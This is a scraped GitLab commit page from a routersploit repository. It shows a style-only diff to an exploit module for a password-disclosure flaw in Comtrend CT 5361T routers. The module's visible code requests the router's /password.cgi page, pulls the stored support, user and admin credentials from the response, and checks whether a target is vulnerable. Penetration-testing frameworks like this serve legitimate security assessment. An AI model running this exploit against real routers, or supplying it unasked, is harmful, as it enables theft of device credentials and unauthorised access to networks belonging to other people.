Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
5b698f59
Commit
5b698f59
authored
Apr 19, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Plain Diff
Merge pull request #16 from HassenPy/master
PEP8tify code to match the project code style
parents
b572c31b
fcb8af7e
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
17 additions
and
12 deletions
+17
-12
ct_5361t_password_disclosure.py
...modules/exploits/comtrend/ct_5361t_password_disclosure.py
+17
-12
No files found.
routersploit/modules/exploits/comtrend/ct_5361t_password_disclosure.py
View file @
5b698f59
from
base64
import
b64decode
from
base64
import
b64decode
import
requests
import
re
import
re
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_status
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
class
Exploit
(
exploits
.
Exploit
):
...
@@ -14,20 +21,20 @@ class Exploit(exploits.Exploit):
...
@@ -14,20 +21,20 @@ class Exploit(exploits.Exploit):
'name'
:
'Comtrend CT 5361T Password Disclosure'
,
'name'
:
'Comtrend CT 5361T Password Disclosure'
,
'description'
:
'WiFi router Comtrend CT 5361T suffers from a Password Disclosure Vulnerability'
,
'description'
:
'WiFi router Comtrend CT 5361T suffers from a Password Disclosure Vulnerability'
,
'authors'
:
[
'authors'
:
[
'TUNISIAN CYBER'
,
# routersploit module,
'TUNISIAN CYBER'
,
# routersploit module,
],
],
'references'
:
[
'references'
:
[
'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
'https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html'
],
],
'targets'
:
[
'targets'
:
[
'Comtrend CT 5361T (more likely CT 536X)
\n
'
+
'Comtrend CT 5361T (more likely CT 536X)
\n
'
+
'Software Version: A111-312SSG-T02_R01
\n
'
+
'Software Version: A111-312SSG-T02_R01
\n
'
+
'Wireless Driver Version: 4.150.10.15.cpe2.2'
'Wireless Driver Version: 4.150.10.15.cpe2.2'
]
]
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
)
# target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
def
run
(
self
):
def
run
(
self
):
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -64,7 +71,6 @@ class Exploit(exploits.Exploit):
...
@@ -64,7 +71,6 @@ class Exploit(exploits.Exploit):
else
:
else
:
print_error
(
"Credentials could not be found"
)
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
...
@@ -72,10 +78,9 @@ class Exploit(exploits.Exploit):
...
@@ -72,10 +78,9 @@ class Exploit(exploits.Exploit):
r
=
requests
.
get
(
url
)
r
=
requests
.
get
(
url
)
res
=
r
.
text
res
=
r
.
text
except
:
except
:
return
None
# could not be verified
return
None
# could not be verified
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"pwdSupport"
,
"pwdUser"
,
"pwdAdmin"
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"pwdSupport"
,
"pwdUser"
,
"pwdAdmin"
])):
return
True
# target vulnerable
return
True
# target vulnerable
return
False
# target not vulnerable
return
False
# target not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment